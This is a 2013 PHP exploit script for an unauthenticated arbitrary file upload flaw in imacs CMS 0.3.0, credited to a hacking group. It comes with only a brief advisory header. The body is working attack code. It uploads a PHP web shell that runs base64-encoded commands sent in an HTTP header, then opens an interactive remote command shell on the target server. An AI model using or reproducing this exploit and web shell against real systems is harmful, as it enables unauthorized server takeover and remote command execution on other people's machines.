imacs CMS 0.3.0 – Unrestricted Arbitrary File Upload
<?php /* ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' Exploit Title : imacs CMS Unrestricted File Upload Exploit Date : 18 June 2013 Exploit Author : CWH Underground Site : www.2600.in.th Vendor Homepage : http://jrcmsdev.sourceforge.net/ Software Link : http://jaist.dl.sourceforge.net/project/jrcmsdev/imacs_V0_3_0_608.cmp.zip Version : 0.3.0 Tested on : Window and Linux ##################################################### VULNERABILITY: Unrestricted File Upload ##################################################### /src/assets/mng/mng.php ##################################################### DESCRIPTION ##################################################### Restricted access to this script isn't properly realized (Don't require authentication) , so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file extension isn't properly checked. ##################################################### EXPLOIT ##################################################### */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n==============================================\n"; print " imacs CMS Unrestricted File Upload Exploit \n"; print " \n"; print " Discovered By CWH Underground \n"; print "==============================================\n\n"; print " ,--^----------,--------,-----,-------^--, \n"; print " | ||||||||| `--------' | O \n"; print " `+---------------------------^----------| \n"; print " `\_,-------, _________________________| \n"; print " / XXXXXX /`| / \n"; print " / XXXXXX / `\ / \n"; print " / XXXXXX /\______( \n"; print " / XXXXXX / \n"; print " / XXXXXX / .. CWH Underground Hacking Team .. \n"; print " (________( \n"; print " `------' \n\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /imacs/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $payload = "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"upload\"; filename=\"sh.php\"\r\n"; $payload .= "Content-Type: application/octet-stream\r\n\r\n"; $payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n"; $payload .= "--o0oOo0o--\r\n"; $packet = "GET {$path} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; $response = http_send($host, $packet); if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n"); $packet = "POST {$path}src/assets/mng/mng.php?dir= HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$sid[1]}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; http_send($host, $packet); $packet = "GET {$path}content/uploads/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nimacs-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ################################################################################################################ # Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 ################################################################################################################ ?> |